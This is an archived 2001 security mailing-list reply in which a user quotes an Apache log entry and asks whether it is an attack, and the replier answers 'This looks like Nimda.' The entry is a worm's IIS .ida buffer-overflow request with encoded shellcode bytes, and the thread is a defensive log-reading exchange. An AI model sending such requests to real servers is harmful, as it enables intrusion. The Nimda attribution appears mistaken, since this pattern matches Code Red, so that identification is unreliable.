Mailinglist Archive: opensuse-security (670 mails)
| < Previous | Next > |
Re: [suse-security] strage log entry
- From: "Andreas Rittershofer" <andreas@xxxxxxxxxxxxxxx>
- Date: Mon, 12 Nov 2001 20:06:31 +0100
- Message-id: <20011112190631.DC930BAD3@xxxxxxxxxxxxxxx>
On 12 Nov 01, at 19:07, sigismund wrote:
> ciao
>
> i found this on my access_log file. what are they looking for ? is this an
> attack ?
>
> 211.90.239.179 - - [12/Nov/2001:18:21:16 +0100] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NN
> NNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u780
> 1% u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
> HTTP/1.0" 400 329
This looks like Nimda.
mfg ar
--
mailto:andreas@xxxxxxxxxxxxxxx
http://www.rittershofer.de
PGP-Public-Key http://www.rittershofer.de/ari.htm
> ciao
>
> i found this on my access_log file. what are they looking for ? is this an
> attack ?
>
> 211.90.239.179 - - [12/Nov/2001:18:21:16 +0100] "GET
> /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NN
> NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
> NN
> NNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u780
> 1% u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
> HTTP/1.0" 400 329
This looks like Nimda.
mfg ar
--
mailto:andreas@xxxxxxxxxxxxxxx
http://www.rittershofer.de
PGP-Public-Key http://www.rittershofer.de/ari.htm
| < Previous | Next > |